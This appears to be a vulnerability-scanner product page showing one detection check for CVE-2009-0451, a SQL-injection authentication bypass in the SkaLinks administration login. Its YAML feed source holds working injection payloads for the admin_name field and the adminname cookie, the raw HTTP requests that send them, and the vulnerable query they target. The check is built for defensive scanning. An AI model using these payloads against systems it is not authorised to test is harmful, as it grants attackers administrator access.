SkaLinks — 1 vulnerability check

noctis ships 1 vulnerability check for SkaLinks, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

SkaLinks administration login SQL injection authentication bypass

CVECVE-2009-0451
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, tcp_connect, match · highest QoD 97
Feedtests/vulnerabilities/skalinks/CVE-2009-0451.yaml

Looks for the SkaLinks link-exchange administration page (admin/index.php with its "Powered by SkaLinks" footer or the product name next to the admin_name login field) under /dir, /skalinks, /skalinks_1_5 and the web root. It then tries two SQL conditions in the administrator name, an always-false one (<random>' OR N=N+1 -- -) and an always-true one (<random>' OR N=N -- -), each with a random password: first as a login posted to admin/index.php, then as the adminname session cookie of a request to admin/index.php. The finding fires when the true condition is accepted while the false one is not: the login answers with the adminname and pwd session cookies, or the cookie opens the administration panel instead of the login form. The administrator name is then evaluated inside the SQL query that checks the administrator account, and the password check is bypassed. Every request is an ordinary login attempt or page view; no data is read or changed.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{dir}}/admin/index.php
  3. Parses / computes the next value with a Rhai script
  4. Raw TCP (TLS on HTTPS), sent verbatim: POST {{dir}}/admin/index.php HTTP/1.0
  5. Raw TCP (TLS on HTTPS), sent verbatim: POST {{dir}}/admin/index.php HTTP/1.0
  6. HTTP(S) request GET {{dir}}/admin/index.php
  7. HTTP(S) request GET {{dir}}/admin/index.php
  8. HTTP(S) request GET {{dir}}/admin/index.php
  9. Parses / computes the next value with a Rhai script
  10. Checks v.how for . → finding QoD 97: SkaLinks administration login SQL injection authentication bypass
  11. Checks v.how for . → finding QoD 75: SkaLinks administration login SQL injection authentication bypass

References:

Feed source — tests/vulnerabilities/skalinks/CVE-2009-0451.yaml
# SkaLinks 1.5 administration login SQL injection authentication bypass (CVE-2009-0451).
#
# Ported from OpenVAS/Greenbone NVT `2009/SkaLinks_1_5_administration_login_sql_injection.nasl`
# (OID 1.3.6.1.4.1.25623.1.0.100052, GPL-2.0-only). The NASL GETs <dir>/admin/index.php for
# /dir, /skalinks and the CGI dirs, requires 'Powered by <a [^>]+>SkaLinks', then POSTs
# admin_name=1' OR 1=1 -- &admin_password=x&Login=Login to admin/index.php (HTTP/1.0, with a
# Referer) and reports when the reply sets the adminname and pwd cookies and redirects to
# http://.../admin/.
#
# Vulnerable code (EDB-7932; the vendor site and the 1.5 download are gone):
#   function IsAdmin() {
#     SELECT * FROM `$table_name` WHERE `Name`='".$_COOKIE['adminname']."'
#                                   AND `Password`='".$_COOKIE['pwd']."'
#   }
# The admin pages run IsAdmin() on the adminname / pwd cookies, which the login form sets.
#
# Better than the NASL:
#   - Control: every probe is paired with the same shape carrying a false condition
#     (`<random>' OR N=N+1 -- -`); the finding needs the true condition to be accepted AND the
#     false one rejected (QoD 97 differential). A login page that sets the cookies for any
#     input — which the NASL would report — no longer counts on its own. Control without a
#     reply → QoD 75.
#   - Second probe straight at the cited sink: GET admin/index.php with the injected
#     adminname cookie. Covers installs whose login form sets the cookies without checking
#     them (only IsAdmin() queries the database), which the NASL cannot tell apart.
#   - The login success test does not require the redirect to be an absolute http:// URL
#     (HTTPS installs) and ignores a "deleted" adminname cookie (a logout/failed-login reset).
#   - Fingerprint: the NASL's "Powered by" link, or the product name next to the
#     admin_name login field (themes that drop the footer link). Also tries /skalinks_1_5
#     (the advisory's install path) and the web root.
# Every request is a login attempt or an admin page view; nothing is read or written.
uid: 3974e7a9-c8b8-476d-8e04-fd2b23c3c092
name: "SkaLinks administration login SQL injection authentication bypass"
description: >-
  Looks for the SkaLinks link-exchange administration page (admin/index.php with
  its "Powered by SkaLinks" footer or the product name next to the admin_name
  login field) under /dir, /skalinks, /skalinks_1_5 and the web root. It then
  tries two SQL conditions in the administrator name, an always-false one
  (<random>' OR N=N+1 -- -) and an always-true one (<random>' OR N=N -- -), each
  with a random password: first as a login posted to admin/index.php, then as
  the adminname session cookie of a request to admin/index.php. The finding
  fires when the true condition is accepted while the false one is not: the
  login answers with the adminname and pwd session cookies, or the cookie opens
  the administration panel instead of the login form. The administrator name is
  then evaluated inside the SQL query that checks the administrator account, and
  the password check is bypassed. Every request is an ordinary login attempt or
  page view; no data is read or changed.
category: sqli
cves: [CVE-2009-0451]
cvss: 7.5
severity: high
confidence_base: 0.30
tags: [skalinks, php, sqli, auth-bypass, web-application]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2009-0451"
  - "https://www.exploit-db.com/exploits/7932"
  - "http://www.securityfocus.com/bid/33545"

steps:
  # Shared random values and the four payloads (true / false condition, as a posted
  # login and as a cookie). Content-Length is computed here: the body is random.
  - id: gen
    action: script
    code: |
      let u = rand_str(8);
      let pw = rand_str(10);
      let n = rand_int(1000, 9999);
      let f = n + 1;
      let bt = "admin_name=" + u + "%27+OR+" + n + "%3D" + n + "+--+-&admin_password=" + pw + "&Login=Login";
      let bf = "admin_name=" + u + "%27+OR+" + n + "%3D" + f + "+--+-&admin_password=" + pw + "&Login=Login";
      let ct = "adminname=" + u + "%27%20OR%20" + n + "%3D" + n + "%20--%20-; pwd=" + pw;
      let cf = "adminname=" + u + "%27%20OR%20" + n + "%3D" + f + "%20--%20-; pwd=" + pw;
      #{ u: u, n: n, f: f, bt: bt, bf: bf, lt: strlen(bt), lf: strlen(bf), ct: ct, cf: cf }
    store_as: rv

  # Loop group: every following step runs once per directory. Pre-initialise the
  # stored results so a failed request never leaves them undefined or holding the
  # previous directory's reply.
  - id: init-page
    action: set_var
    var_name: page
    var_value: {status: 0, body: ""}
    loop:
      var: dir
      over: ["/dir", "/skalinks", "/skalinks_1_5", ""]

  - id: init-login-false
    action: set_var
    var_name: login_f
    var_value: {banner: ""}

  - id: init-login-true
    action: set_var
    var_name: login_t
    var_value: {banner: ""}

  - id: init-cookie-false
    action: set_var
    var_name: cookie_f
    var_value: {status: 0, body: ""}

  - id: init-cookie-true
    action: set_var
    var_name: cookie_t
    var_value: {status: 0, body: ""}

  - id: init-cookie-false-again
    action: set_var
    var_name: cookie_f2
    var_value: {status: 0, body: ""}

  - id: admin-page
    action: http_request
    method: GET
    path: "{{dir}}/admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    store_as: page

  - id: gate
    action: script
    code: |
      let b = if type_of(page.body) == "string" { page.body } else { "" };
      let powered = ereg("Powered by <a [^>]+>SkaLinks", b);
      let form = ereg("skalinks", b, true) && ereg("name=[\"']?admin_name", b, true);
      page.status == 200 && (powered || form)
    store_as: is_ska

  # Login with the false condition — must not be accepted. Raw socket: http_request keeps
  # only the last Set-Cookie header, and both cookies are needed.
  - id: login-false
    action: tcp_connect
    port: "{{port}}"
    condition: "is_ska"
    send: "POST {{dir}}/admin/index.php HTTP/1.0\r\nReferer: {{scheme}}://{{target_host}}:{{port}}{{dir}}/admin/index.php\r\nHost: {{target_host}}:{{port}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{rv.lf}}\r\n\r\n{{rv.bf}}"
    timeout_secs: 10
    store_as: login_f

  - id: login-true
    action: tcp_connect
    port: "{{port}}"
    condition: "is_ska"
    send: "POST {{dir}}/admin/index.php HTTP/1.0\r\nReferer: {{scheme}}://{{target_host}}:{{port}}{{dir}}/admin/index.php\r\nHost: {{target_host}}:{{port}}\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {{rv.lt}}\r\n\r\n{{rv.bt}}"
    timeout_secs: 10
    store_as: login_t

  # The same conditions as the adminname cookie, read by IsAdmin() on every admin page.
  - id: cookie-false
    action: http_request
    method: GET
    path: "{{dir}}/admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_ska"
    headers:
      Cookie: "{{rv.cf}}"
    store_as: cookie_f

  - id: cookie-true
    action: http_request
    method: GET
    path: "{{dir}}/admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_ska"
    headers:
      Cookie: "{{rv.ct}}"
    store_as: cookie_t

  # False condition again: a lockout / rate-limit page appearing after a few requests
  # would otherwise look like an open admin panel.
  - id: cookie-false-again
    action: http_request
    method: GET
    path: "{{dir}}/admin/index.php"
    port: "{{port}}"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 10
    condition: "is_ska"
    headers:
      Cookie: "{{rv.cf}}"
    store_as: cookie_f2

  - id: verdict
    action: script
    code: |
      fn head_of(r) {
        if type_of(r) != "map" || type_of(r.banner) != "string" { return ""; }
        let i = r.banner.index_of("\r\n\r\n");
        if i < 0 { r.banner } else { r.banner.sub_string(0, i) }
      }
      fn session(h) {
        // Any adminname cookie with a real value (a reply may clear it before setting it).
        let ok_a = false;
        for line in egrep("(?i)^Set-Cookie:[ \\t]*adminname=", h).split("\n") {
          let m = eregmatch("(?i)adminname=([^;\\r]*)", line);
          if m.len() > 1 && ereg("\\S", m[1]) && m[1] != "deleted" { ok_a = true; }
        }
        let ok_p = ereg("(?im)^Set-Cookie:[ \\t]*pwd=", h);
        ok_a && ok_p
      }
      fn login_form(b) { ereg("name=[\"']?admin_password", b, true) }
      let ht = head_of(login_t);
      let hf = head_of(login_f);
      let l_hit = is_ska && session(ht);
      let l_none = hf == "";
      let l_ok = !l_none && !session(hf);
      let loc = eregmatch("(?im)^Location:[ \\t]*([^\\r\\n]*)", ht);
      let loc = if loc.len() > 1 { loc[1] } else { "none" };
      let bt = if type_of(cookie_t) == "map" && type_of(cookie_t.body) == "string" { cookie_t.body } else { "" };
      let bf = if type_of(cookie_f) == "map" && type_of(cookie_f.body) == "string" { cookie_f.body } else { "" };
      let st = if type_of(cookie_t) == "map" { cookie_t.status } else { 0 };
      let sf = if type_of(cookie_f) == "map" { cookie_f.status } else { 0 };
      let bf2 = if type_of(cookie_f2) == "map" && type_of(cookie_f2.body) == "string" { cookie_f2.body } else { "" };
      let sf2 = if type_of(cookie_f2) == "map" { cookie_f2.status } else { 0 };
      let c_hit = is_ska && st == 200 && ereg("\\S", bt) && !login_form(bt);
      let c_none = sf == 0;
      let c_ok = sf == 200 && login_form(bf) && sf2 == 200 && login_form(bf2);
      let how = if l_hit && l_ok {
        "the login POST with admin_name=" + rv.u + "' OR " + rv.n + "=" + rv.n + " -- - and a random password was answered with the adminname and pwd session cookies (Location: " + loc + "), while the false condition " + rv.n + "=" + rv.f + " was not"
      } else if c_hit && c_ok {
        "GET admin/index.php with the cookie adminname=" + rv.u + "' OR " + rv.n + "=" + rv.n + " -- - and a random pwd opened the administration panel (status 200, no login form), while the false condition " + rv.n + "=" + rv.f + " got the login form (before and after)"
      } else if l_hit && l_none {
        "the login POST with admin_name=" + rv.u + "' OR " + rv.n + "=" + rv.n + " -- - and a random password was answered with the adminname and pwd session cookies (Location: " + loc + "); the false-condition control got no reply"
      } else if c_hit && c_none {
        "GET admin/index.php with the cookie adminname=" + rv.u + "' OR " + rv.n + "=" + rv.n + " -- - and a random pwd opened the administration panel (status 200, no login form); the false-condition control got no reply"
      } else { "" };
      #{ sqli: (l_hit && l_ok) || (c_hit && c_ok),
         sqli_noctl: (l_hit && l_none) || (c_hit && c_none),
         how: how }
    store_as: v

  - id: sqli-confirmed
    action: match
    source: v.how
    pattern: "."
    condition: "v.sqli"
    on_match:
      finding:
        cves: [CVE-2009-0451]
        title: "SkaLinks administration login SQL injection authentication bypass"
        description: "The SkaLinks administration area concatenates the administrator name and password (login form and adminname / pwd cookies) into the SQL query that checks the administrator account, so an unauthenticated attacker bypasses the password check and gets administrator access."
        confidence_delta: 0.65
        qod: 97
        evidence: "{{dir}}/admin/index.php: {{v.how}}."
        remediation: "SkaLinks is no longer maintained and no fixed release is known: remove it, or restrict access to its admin/ directory to trusted users and change the administrator check to a prepared statement."
      stop: true

  - id: sqli-unconfirmed-control
    action: match
    source: v.how
    pattern: "."
    condition: "v.sqli_noctl"
    on_match:
      finding:
        cves: [CVE-2009-0451]
        title: "SkaLinks administration login SQL injection authentication bypass"
        description: "The SkaLinks administration area concatenates the administrator name and password (login form and adminname / pwd cookies) into the SQL query that checks the administrator account, so an unauthenticated attacker bypasses the password check and gets administrator access."
        confidence_delta: 0.50
        qod: 75
        evidence: "{{dir}}/admin/index.php: {{v.how}}."
        remediation: "SkaLinks is no longer maintained and no fixed release is known: remove it, or restrict access to its admin/ directory to trusted users and change the administrator check to a prepared statement."
      stop: true

View these feeds on GitHub